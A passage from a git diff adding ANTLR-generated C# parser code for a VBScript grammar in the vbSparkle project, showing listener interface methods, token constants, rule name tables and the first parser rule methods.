VBScriptParser.SubscriptsContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitSubscripts([NotNull] VBScriptParser.SubscriptsContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterSubscript([NotNull] VBScriptParser.SubscriptContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitSubscript([NotNull] VBScriptParser.SubscriptContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterAmbiguousIdentifier([NotNull] VBScriptParser.AmbiguousIdentifierContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitAmbiguousIdentifier([NotNull] VBScriptParser.AmbiguousIdentifierContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterAsTypeClause([NotNull] VBScriptParser.AsTypeClauseContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitAsTypeClause([NotNull] VBScriptParser.AsTypeClauseContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterBaseType([NotNull] VBScriptParser.BaseTypeContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitBaseType([NotNull] VBScriptParser.BaseTypeContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterCertainIdentifier([NotNull] VBScriptParser.CertainIdentifierContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitCertainIdentifier([NotNull] VBScriptParser.CertainIdentifierContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterComparisonOperator([NotNull] VBScriptParser.ComparisonOperatorContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitComparisonOperator([NotNull] VBScriptParser.ComparisonOperatorContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterComplexType([NotNull] VBScriptParser.ComplexTypeContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitComplexType([NotNull] VBScriptParser.ComplexTypeContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterFieldLength([NotNull] VBScriptParser.FieldLengthContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitFieldLength([NotNull] VBScriptParser.FieldLengthContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterLetterrange([NotNull] VBScriptParser.LetterrangeContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitLetterrange([NotNull] VBScriptParser.LetterrangeContext context); + /// + /// Enter a parse tree produced by the ltColor + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtColor([NotNull] VBScriptParser.LtColorContext context); + /// + /// Exit a parse tree produced by the ltColor + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtColor([NotNull] VBScriptParser.LtColorContext context); + /// + /// Enter a parse tree produced by the ltOctal + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtOctal([NotNull] VBScriptParser.LtOctalContext context); + /// + /// Exit a parse tree produced by the ltOctal + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtOctal([NotNull] VBScriptParser.LtOctalContext context); + /// + /// Enter a parse tree produced by the ltDate + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtDate([NotNull] VBScriptParser.LtDateContext context); + /// + /// Exit a parse tree produced by the ltDate + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtDate([NotNull] VBScriptParser.LtDateContext context); + /// + /// Enter a parse tree produced by the ltString + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtString([NotNull] VBScriptParser.LtStringContext context); + /// + /// Exit a parse tree produced by the ltString + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtString([NotNull] VBScriptParser.LtStringContext context); + /// + /// Enter a parse tree produced by the ltDouble + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtDouble([NotNull] VBScriptParser.LtDoubleContext context); + /// + /// Exit a parse tree produced by the ltDouble + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtDouble([NotNull] VBScriptParser.LtDoubleContext context); + /// + /// Enter a parse tree produced by the ltDelimited + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtDelimited([NotNull] VBScriptParser.LtDelimitedContext context); + /// + /// Exit a parse tree produced by the ltDelimited + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtDelimited([NotNull] VBScriptParser.LtDelimitedContext context); + /// + /// Enter a parse tree produced by the ltFilenumber + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtFilenumber([NotNull] VBScriptParser.LtFilenumberContext context); + /// + /// Exit a parse tree produced by the ltFilenumber + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtFilenumber([NotNull] VBScriptParser.LtFilenumberContext context); + /// + /// Enter a parse tree produced by the ltInteger + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtInteger([NotNull] VBScriptParser.LtIntegerContext context); + /// + /// Exit a parse tree produced by the ltInteger + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtInteger([NotNull] VBScriptParser.LtIntegerContext context); + /// + /// Enter a parse tree produced by the ltBoolean + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtBoolean([NotNull] VBScriptParser.LtBooleanContext context); + /// + /// Exit a parse tree produced by the ltBoolean + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtBoolean([NotNull] VBScriptParser.LtBooleanContext context); + /// + /// Enter a parse tree produced by the ltNothing + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtNothing([NotNull] VBScriptParser.LtNothingContext context); + /// + /// Exit a parse tree produced by the ltNothing + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtNothing([NotNull] VBScriptParser.LtNothingContext context); + /// + /// Enter a parse tree produced by the ltNull + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtNull([NotNull] VBScriptParser.LtNullContext context); + /// + /// Exit a parse tree produced by the ltNull + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtNull([NotNull] VBScriptParser.LtNullContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterPublicPrivateVisibility([NotNull] VBScriptParser.PublicPrivateVisibilityContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitPublicPrivateVisibility([NotNull] VBScriptParser.PublicPrivateVisibilityContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterPublicPrivateGlobalVisibility([NotNull] VBScriptParser.PublicPrivateGlobalVisibilityContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitPublicPrivateGlobalVisibility([NotNull] VBScriptParser.PublicPrivateGlobalVisibilityContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterType([NotNull] VBScriptParser.TypeContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitType([NotNull] VBScriptParser.TypeContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterTypeHint([NotNull] VBScriptParser.TypeHintContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitTypeHint([NotNull] VBScriptParser.TypeHintContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterVisibility([NotNull] VBScriptParser.VisibilityContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitVisibility([NotNull] VBScriptParser.VisibilityContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterAmbiguousKeyword([NotNull] VBScriptParser.AmbiguousKeywordContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitAmbiguousKeyword([NotNull] VBScriptParser.AmbiguousKeywordContext context); +} diff --git a/Sources/vbSparkle/VBScriptParser.cs b/Sources/vbSparkle/VBScriptParser.cs new file mode 100644 index 0000000..8a4b53a --- /dev/null +++ b/Sources/vbSparkle/VBScriptParser.cs @@ -0,0 +1,21674 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// ANTLR Version: 4.13.1 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +// Generated from VBScript.g4 by ANTLR 4.13.1 + +// Unreachable code detected +#pragma warning disable 0162 +// The variable '...' is assigned but its value is never used +#pragma warning disable 0219 +// Missing XML comment for publicly visible type or member '...' +#pragma warning disable 1591 +// Ambiguous reference in cref attribute +#pragma warning disable 419 + +using System; +using System.IO; +using System.Text; +using System.Diagnostics; +using System.Collections.Generic; +using Antlr4.Runtime; +using Antlr4.Runtime.Atn; +using Antlr4.Runtime.Misc; +using Antlr4.Runtime.Tree; +using DFA = Antlr4.Runtime.Dfa.DFA; + +[System.CodeDom.Compiler.GeneratedCode("ANTLR", "4.13.1")] +[System.CLSCompliant(false)] +public partial class VBScriptParser : Parser { + protected static DFA[] decisionToDFA; + protected static PredictionContextCache sharedContextCache = new PredictionContextCache(); + public const int + ACCESS=1, ADDRESSOF=2, ALIAS=3, AND=4, ATTRIBUTE=5, APPACTIVATE=6, APPEND=7, + AS=8, BEEP=9, BEGIN=10, BEGINPROPERTY=11, BINARY=12, BOOLEAN=13, BYVAL=14, + BYREF=15, BYTE=16, CALL=17, CASE=18, CHDIR=19, CHDRIVE=20, CLASS=21, CLOSE=22, + COLLECTION=23, CONST=24, DATE=25, PTRSAFE=26, DECLARE=27, DEFBOOL=28, + DEFBYTE=29, DEFDATE=30, DEFDBL=31, DEFDEC=32, DEFCUR=33, DEFINT=34, DEFLNG=35, + DEFOBJ=36, DEFSNG=37, DEFSTR=38, DEFVAR=39, DELETESETTING=40, DIM=41, + DO=42, DOUBLE=43, EACH=44, ELSE=45, ELSEIF=46, END_ENUM=47, END_CLASS=48, + END_FUNCTION=49, END_IF=50, END_PROPERTY=51, END_SELECT=52, END_SUB=53, + END_TYPE=54, END_WITH=55, END=56, ENDPROPERTY=57, ENUM=58, EQV=59, ERASE=60, + ERROR=61, EVENT=62, EXIT_DO=63, EXIT_FOR=64, EXIT_FUNCTION=65, EXIT_PROPERTY=66, + EXIT_SUB=67, FALSE=68, FILECOPY=69, FRIEND=70, FOR=71, FUNCTION=72, GET=73, + GLOBAL=74, GOSUB=75, GOTO=76, IF=77, IMP=78, IMPLEMENTS=79, IN=80, INPUT=81, + IS=82, INTEGER=83, KILL=84, LOAD=85, LOCK=86, LONG=87, LOOP=88, LEN=89, + LET=90, LIB=91, LIKE=92, LINE_INPUT=93, LOCK_READ=94, LOCK_WRITE=95, LOCK_READ_WRITE=96, + LSET=97, MACRO_IF=98, MACRO_ELSEIF=99, MACRO_ELSE=100, MACRO_END_IF=101, + ME=102, MID=103, MKDIR=104, MOD=105, NAME=106, NEXT=107, NEW=108, NOT=109, + NOTHING=110, NULL=111, OBJECT=112, ON=113, ON_ERROR=114, ON_LOCAL_ERROR=115, + OPEN=116, OPTIONAL=117, OPTION_BASE=118, OPTION_EXPLICIT=119, OPTION_COMPARE=120, + OPTION_PRIVATE_MODULE=121, OR=122, OUTPUT=123, PARAMARRAY=124, PRESERVE=125, + PRINT=126, PRIVATE=127, PROPERTY_GET=128, PROPERTY_LET=129, PROPERTY_SET=130, + PUBLIC=131, PUT=132, RANDOM=133, RANDOMIZE=134, RAISEEVENT=135, READ=136, + READ_WRITE=137, REDIM=138, REM=139, RESET=140, RESUME=141, RETURN=142, + RMDIR=143, RSET=144, SAVEPICTURE=145, SAVESETTING=146, SEEK=147, SELECT=148, + SENDKEYS=149, SET=150, SETATTR=151, SHARED=152, SINGLE=153, SPC=154, STATIC=155, + DEFAULT=156, STEP=157, STOP=158, STRING=159, SUB=160, TAB=161, TEXT=162, + THEN=163, TIME=164, TO=165, TRUE=166, TYPE=167, TYPEOF=168, UNLOAD=169, + UNLOCK=170, UNTIL=171, VARIANT=172, VERSION=173, WEND=174, WHILE=175, + WIDTH=176, WITH=177, WITHEVENTS=178, WRITE=179, XOR=180, AMPERSAND=181, + ASSIGN=182, AT=183, COMMA=184, DIV=185, DOLLAR=186, DOT=187, EQ=188, EXCLAMATIONMARK=189, + GEQ=190, GT=191, HASH=192, LEQ=193, LBRACE=194, LPAREN=195, LT=196, MINUS=197, + MINUS_EQ=198, MULT=199, NEQ=200, PERCENT=201, PLUS=202, PLUS_EQ=203, POW=204, + RBRACE=205, RPAREN=206, SEMICOLON=207, L_SQUARE_BRACKET=208, R_SQUARE_BRACKET=209, + STRINGLITERAL=210, DATELITERAL=211, HEXLITERAL=212, INTEGERLITERAL=213, + DOUBLELITERAL=214, FILENUMBER=215, OCTALLITERAL=216, GUID=217, IDENTIFIER=218, + NEWLINE=219, INLINE_SEP=220, INLN=221, COMMENT=222, WS=223, LINE_CONTINUATION=224; + public const int + RULE_startRule = 0, RULE_module = 1, RULE_moduleReferences = 2, RULE_moduleReference = 3, + RULE_moduleReferenceValue = 4, RULE_moduleReferenceComponent = 5, RULE_moduleHeader = 6, + RULE_moduleConfig = 7, RULE_moduleConfigElement = 8, RULE_moduleAttributes = 9, + RULE_moduleOptions = 10, RULE_moduleOption = 11, RULE_moduleBody = 12, + RULE_moduleBodyElement = 13, RULE_controlProperties = 14, RULE_cp_Properties = 15, + RULE_cp_PropertyName = 16, RULE_cp_PropertyValue = 17, RULE_cp_NestedProperty = 18, + RULE_cp_ControlType = 19, RULE_cp_ControlIdentifier = 20, RULE_blockSwitch = 21, + RULE_block = 22, RULE_moduleBlock = 23, RULE_attributeStmt = 24, RULE_lineLabel = 25, + RULE_inlineBlock = 26, RULE_inlineBlockStmt = 27, RULE_blockStmt = 28, + RULE_appActivateStmt = 29, RULE_beepStmt = 30, RULE_chDirStmt = 31, RULE_chDriveStmt = 32, + RULE_closeStmt = 33, RULE_constStmt = 34, RULE_constSubStmt = 35, RULE_dateStmt = 36, + RULE_declareStmt = 37, RULE_deftypeStmt = 38, RULE_deleteSettingStmt = 39, + RULE_doLoopStmt = 40, RULE_endStmt = 41, RULE_enumerationStmt = 42, RULE_classStmt = 43, + RULE_enumerationStmt_Constant = 44, RULE_eraseStmt = 45, RULE_errorStmt = 46, + RULE_eventStmt = 47, RULE_exitStmt = 48, RULE_filecopyStmt = 49, RULE_forEachStmt = 50, + RULE_forNextStmt = 51, RULE_functionStmt = 52, RULE_getStmt = 53, RULE_goSubStmt = 54, + RULE_goToStmt = 55, RULE_ifThenElseStmt = 56, RULE_inlineIfThenElseStmt = 57, + RULE_inlineIfBlockStmt = 58, RULE_inlineElseBlockStmt = 59, RULE_ifBlockStmt = 60, + RULE_ifConditionStmt = 61, RULE_ifElseIfBlockStmt = 62, RULE_ifElseBlockStmt = 63, + RULE_implementsStmt = 64, RULE_inputStmt = 65, RULE_killStmt = 66, RULE_midStmt = 67, + RULE_letStmt = 68, RULE_lineInputStmt = 69, RULE_loadStmt = 70, RULE_lockStmt = 71, + RULE_lsetStmt = 72, RULE_macroIfThenElseStmt = 73, RULE_macroIfBlockStmt = 74, + RULE_macroElseIfBlockStmt = 75, RULE_macroElseBlockStmt = 76, RULE_mkdirStmt = 77, + RULE_nameStmt = 78, RULE_onErrorStmt = 79, RULE_onGoToStmt = 80, RULE_onGoSubStmt = 81, + RULE_openStmt = 82, RULE_outputList = 83, RULE_outputList_Expression = 84, + RULE_printStmt = 85, RULE_propertyGetStmt = 86, RULE_propertySetStmt = 87, + RULE_propertyLetStmt = 88, RULE_putStmt = 89, RULE_raiseEventStmt = 90, + RULE_randomizeStmt = 91, RULE_redimStmt = 92, RULE_redimSubStmt = 93, + RULE_resetStmt = 94, RULE_resumeStmt = 95, RULE_returnStmt = 96, RULE_rmdirStmt = 97, + RULE_rsetStmt = 98, RULE_savepictureStmt = 99, RULE_saveSettingStmt = 100, + RULE_seekStmt = 101, RULE_selectCaseStmt = 102, RULE_sC_Case = 103, RULE_sC_Cond = 104, + RULE_sC_CondExpr = 105, RULE_sendkeysStmt = 106, RULE_setattrStmt = 107, + RULE_setStmt = 108, RULE_stopStmt = 109, RULE_subStmt = 110, RULE_timeStmt = 111, + RULE_typeStmt = 112, RULE_typeStmt_Element = 113, RULE_typeOfStmt = 114, + RULE_unloadStmt = 115, RULE_unlockStmt = 116, RULE_valueStmt = 117, RULE_variableStmt = 118, + RULE_variableListStmt = 119, RULE_variableSubStmt = 120, RULE_whileWendStmt = 121, + RULE_widthStmt = 122, RULE_withStmt = 123, RULE_writeStmt = 124, RULE_explicitCallStmt = 125, + RULE_eCS_ProcedureCall = 126, RULE_eCS_MemberProcedureCall = 127, RULE_implicitCallStmt_InBlock = 128, + RULE_noParenthesisArgs = 129, RULE_iCS_B_ProcedureCall = 130, RULE_iCS_B_MemberProcedureCall = 131, + RULE_implicitCallStmt_InStmt = 132, RULE_iCS_S_VariableOrProcedureCall = 133, + RULE_iCS_S_ProcedureOrArrayCall = 134, RULE_iCS_S_NestedProcedureCall = 135, + RULE_iCS_S_MembersCall = 136, RULE_iCS_S_MemberCall = 137, RULE_iCS_S_DefaultMemberAccess = 138, + RULE_argsCall = 139, RULE_argCall = 140, RULE_defaultMemberAccess = 141, + RULE_argList = 142, RULE_arg = 143, RULE_argDefaultValue = 144, RULE_subscripts = 145, + RULE_subscript = 146, RULE_ambiguousIdentifier = 147, RULE_asTypeClause = 148, + RULE_baseType = 149, RULE_certainIdentifier = 150, RULE_comparisonOperator = 151, + RULE_complexType = 152, RULE_fieldLength = 153, RULE_letterrange = 154, + RULE_delimitedLiteral = 155, RULE_literal = 156, RULE_publicPrivateVisibility = 157, + RULE_publicPrivateGlobalVisibility = 158, RULE_type = 159, RULE_typeHint = 160, + RULE_visibility = 161, RULE_ambiguousKeyword = 162; + public static readonly string[] ruleNames = { + "startRule", "module", "moduleReferences", "moduleReference", "moduleReferenceValue", + "moduleReferenceComponent", "moduleHeader", "moduleConfig", "moduleConfigElement", + "moduleAttributes", "moduleOptions", "moduleOption", "moduleBody", "moduleBodyElement", + "controlProperties", "cp_Properties", "cp_PropertyName", "cp_PropertyValue", + "cp_NestedProperty", "cp_ControlType", "cp_ControlIdentifier", "blockSwitch", + "block", "moduleBlock", "attributeStmt", "lineLabel", "inlineBlock", "inlineBlockStmt", + "blockStmt", "appActivateStmt", "beepStmt", "chDirStmt", "chDriveStmt", + "closeStmt", "constStmt", "constSubStmt", "dateStmt", "declareStmt", "deftypeStmt", + "deleteSettingStmt", "doLoopStmt", "endStmt", "enumerationStmt", "classStmt", + "enumerationStmt_Constant", "eraseStmt", "errorStmt", "eventStmt", "exitStmt", + "filecopyStmt", "forEachStmt", "forNextStmt", "functionStmt", "getStmt", + "goSubStmt", "goToStmt", "ifThenElseStmt", "inlineIfThenElseStmt", "inlineIfBlockStmt", + "inlineElseBlockStmt", "ifBlockStmt", "ifConditionStmt", "ifElseIfBlockStmt", + "ifElseBlockStmt", "implementsStmt", "inputStmt", "killStmt", "midStmt", + "letStmt", "lineInputStmt", "loadStmt", "lockStmt", "lsetStmt", "macroIfThenElseStmt", + "macroIfBlockStmt", "macroElseIfBlockStmt", "macroElseBlockStmt", "mkdirStmt", + "nameStmt", "onErrorStmt", "onGoToStmt", "onGoSubStmt", "openStmt", "outputList", + "outputList_Expression", "printStmt", "propertyGetStmt", "propertySetStmt", + "propertyLetStmt", "putStmt", "raiseEventStmt", "randomizeStmt", "redimStmt", + "redimSubStmt", "resetStmt", "resumeStmt", "returnStmt", "rmdirStmt", + "rsetStmt", "savepictureStmt", "saveSettingStmt", "seekStmt", "selectCaseStmt", + "sC_Case", "sC_Cond", "sC_CondExpr", "sendkeysStmt", "setattrStmt", "setStmt", + "stopStmt", "subStmt", "timeStmt", "typeStmt", "typeStmt_Element", "typeOfStmt", + "unloadStmt", "unlockStmt", "valueStmt", "variableStmt", "variableListStmt", + "variableSubStmt", "whileWendStmt", "widthStmt", "withStmt", "writeStmt", + "explicitCallStmt", "eCS_ProcedureCall", "eCS_MemberProcedureCall", "implicitCallStmt_InBlock", + "noParenthesisArgs", "iCS_B_ProcedureCall", "iCS_B_MemberProcedureCall", + "implicitCallStmt_InStmt", "iCS_S_VariableOrProcedureCall", "iCS_S_ProcedureOrArrayCall", + "iCS_S_NestedProcedureCall", "iCS_S_MembersCall", "iCS_S_MemberCall", + "iCS_S_DefaultMemberAccess", "argsCall", "argCall", "defaultMemberAccess", + "argList", "arg", "argDefaultValue", "subscripts", "subscript", "ambiguousIdentifier", + "asTypeClause", "baseType", "certainIdentifier", "comparisonOperator", + "complexType", "fieldLength", "letterrange", "delimitedLiteral", "literal", + "publicPrivateVisibility", "publicPrivateGlobalVisibility", "type", "typeHint", + "visibility", "ambiguousKeyword" + }; + + private static readonly string[] _LiteralNames = { + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, "'&'", "':='", "'@'", "','", null, "'$'", "'.'", "'='", "'!'", "'>='", + "'>'", "'#'", "'<='", "'{'", "'('", "'<'", "'-'", "'-='", "'*'", "'<>'", + "'%'", "'+'", "'+='", "'^'", "'}'", "')'", "';'", "'['", "']'", null, + null, null, null, null, null, null, null, null, null, null, "':'" + }; + private static readonly string[] _SymbolicNames = { + null, "ACCESS", "ADDRESSOF", "ALIAS", "AND", "ATTRIBUTE", "APPACTIVATE", + "APPEND", "AS", "BEEP", "BEGIN", "BEGINPROPERTY", "BINARY", "BOOLEAN", + "BYVAL", "BYREF", "BYTE", "CALL", "CASE", "CHDIR", "CHDRIVE", "CLASS", + "CLOSE", "COLLECTION", "CONST", "DATE", "PTRSAFE", "DECLARE", "DEFBOOL", + "DEFBYTE", "DEFDATE", "DEFDBL", "DEFDEC", "DEFCUR", "DEFINT", "DEFLNG", + "DEFOBJ", "DEFSNG", "DEFSTR", "DEFVAR", "DELETESETTING", "DIM", "DO", + "DOUBLE", "EACH", "ELSE", "ELSEIF", "END_ENUM", "END_CLASS", "END_FUNCTION", + "END_IF", "END_PROPERTY", "END_SELECT", "END_SUB", "END_TYPE", "END_WITH", + "END", "ENDPROPERTY", "ENUM", "EQV", "ERASE", "ERROR", "EVENT", "EXIT_DO", + "EXIT_FOR", "EXIT_FUNCTION", "EXIT_PROPERTY", "EXIT_SUB", "FALSE", "FILECOPY", + "FRIEND", "FOR", "FUNCTION", "GET", "GLOBAL", "GOSUB", "GOTO", "IF", "IMP", + "IMPLEMENTS", "IN", "INPUT", "IS", "INTEGER", "KILL", "LOAD", "LOCK", + "LONG", "LOOP", "LEN", "LET", "LIB", "LIKE", "LINE_INPUT", "LOCK_READ", + "LOCK_WRITE", "LOCK_READ_WRITE", "LSET", "MACRO_IF", "MACRO_ELSEIF", "MACRO_ELSE", + "MACRO_END_IF", "ME", "MID", "MKDIR", "MOD", "NAME", "NEXT", "NEW", "NOT", + "NOTHING", "NULL", "OBJECT", "ON", "ON_ERROR", "ON_LOCAL_ERROR", "OPEN", + "OPTIONAL", "OPTION_BASE", "OPTION_EXPLICIT", "OPTION_COMPARE", "OPTION_PRIVATE_MODULE", + "OR", "OUTPUT", "PARAMARRAY", "PRESERVE", "PRINT", "PRIVATE", "PROPERTY_GET", + "PROPERTY_LET", "PROPERTY_SET", "PUBLIC", "PUT", "RANDOM", "RANDOMIZE", + "RAISEEVENT", "READ", "READ_WRITE", "REDIM", "REM", "RESET", "RESUME", + "RETURN", "RMDIR", "RSET", "SAVEPICTURE", "SAVESETTING", "SEEK", "SELECT", + "SENDKEYS", "SET", "SETATTR", "SHARED", "SINGLE", "SPC", "STATIC", "DEFAULT", + "STEP", "STOP", "STRING", "SUB", "TAB", "TEXT", "THEN", "TIME", "TO", + "TRUE", "TYPE", "TYPEOF", "UNLOAD", "UNLOCK", "UNTIL", "VARIANT", "VERSION", + "WEND", "WHILE", "WIDTH", "WITH", "WITHEVENTS", "WRITE", "XOR", "AMPERSAND", + "ASSIGN", "AT", "COMMA", "DIV", "DOLLAR", "DOT", "EQ", "EXCLAMATIONMARK", + "GEQ", "GT", "HASH", "LEQ", "LBRACE", "LPAREN", "LT", "MINUS", "MINUS_EQ", + "MULT", "NEQ", "PERCENT", "PLUS", "PLUS_EQ", "POW", "RBRACE", "RPAREN", + "SEMICOLON", "L_SQUARE_BRACKET", "R_SQUARE_BRACKET", "STRINGLITERAL", + "DATELITERAL", "HEXLITERAL", "INTEGERLITERAL", "DOUBLELITERAL", "FILENUMBER", + "OCTALLITERAL", "GUID", "IDENTIFIER", "NEWLINE", "INLINE_SEP", "INLN", + "COMMENT", "WS", "LINE_CONTINUATION" + }; + public static readonly IVocabulary DefaultVocabulary = new Vocabulary(_LiteralNames, _SymbolicNames); + + [NotNull] + public override IVocabulary Vocabulary + { + get + { + return DefaultVocabulary; + } + } + + public override string GrammarFileName { get { return "VBScript.g4"; } } + + public override string[] RuleNames { get { return ruleNames; } } + + public override int[] SerializedAtn { get { return _serializedATN; } } + + static VBScriptParser() { + decisionToDFA = new DFA[_ATN.NumberOfDecisions]; + for (int i = 0; i < _ATN.NumberOfDecisions; i++) { + decisionToDFA[i] = new DFA(_ATN.GetDecisionState(i), i); + } + } + + public VBScriptParser(ITokenStream input) : this(input, Console.Out, Console.Error) { } + + public VBScriptParser(ITokenStream input, TextWriter output, TextWriter errorOutput) + : base(input, output, errorOutput) + { + Interpreter = new ParserATNSimulator(this, _ATN, decisionToDFA, sharedContextCache); + } + + public partial class StartRuleContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ModuleContext module() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode Eof() { return GetToken(VBScriptParser.Eof, 0); } + public StartRuleContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_startRule; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterStartRule(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitStartRule(this); + } + } + + [RuleVersion(0)] + public StartRuleContext startRule() { + StartRuleContext _localctx = new StartRuleContext(Context, State); + EnterRule(_localctx, 0, RULE_startRule); + try { + EnterOuterAlt(_localctx, 1); + { + State = 326; + module(); + State = 327; + Match(Eof); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleHeaderContext moduleHeader() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleReferencesContext moduleReferences() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ControlPropertiesContext controlProperties() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleConfigContext moduleConfig() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleAttributesContext moduleAttributes() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleOptionsContext moduleOptions() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleBodyContext moduleBody() { + return GetRuleContext(0); + } + public ModuleContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_module; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterModule(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitModule(this); + } + } + + [RuleVersion(0)] + public ModuleContext module() { + ModuleContext _localctx = new ModuleContext(Context, State); + EnterRule(_localctx, 2, RULE_module); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 330; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,0,Context) ) { + case 1: + { + State = 329; + Match(WS); + } + break; + } + State = 335; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,1,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 332; + Match(NEWLINE); + } + } + } + State = 337; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,1,Context); + } + State = 344; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,3,Context) ) { + case 1: + { + 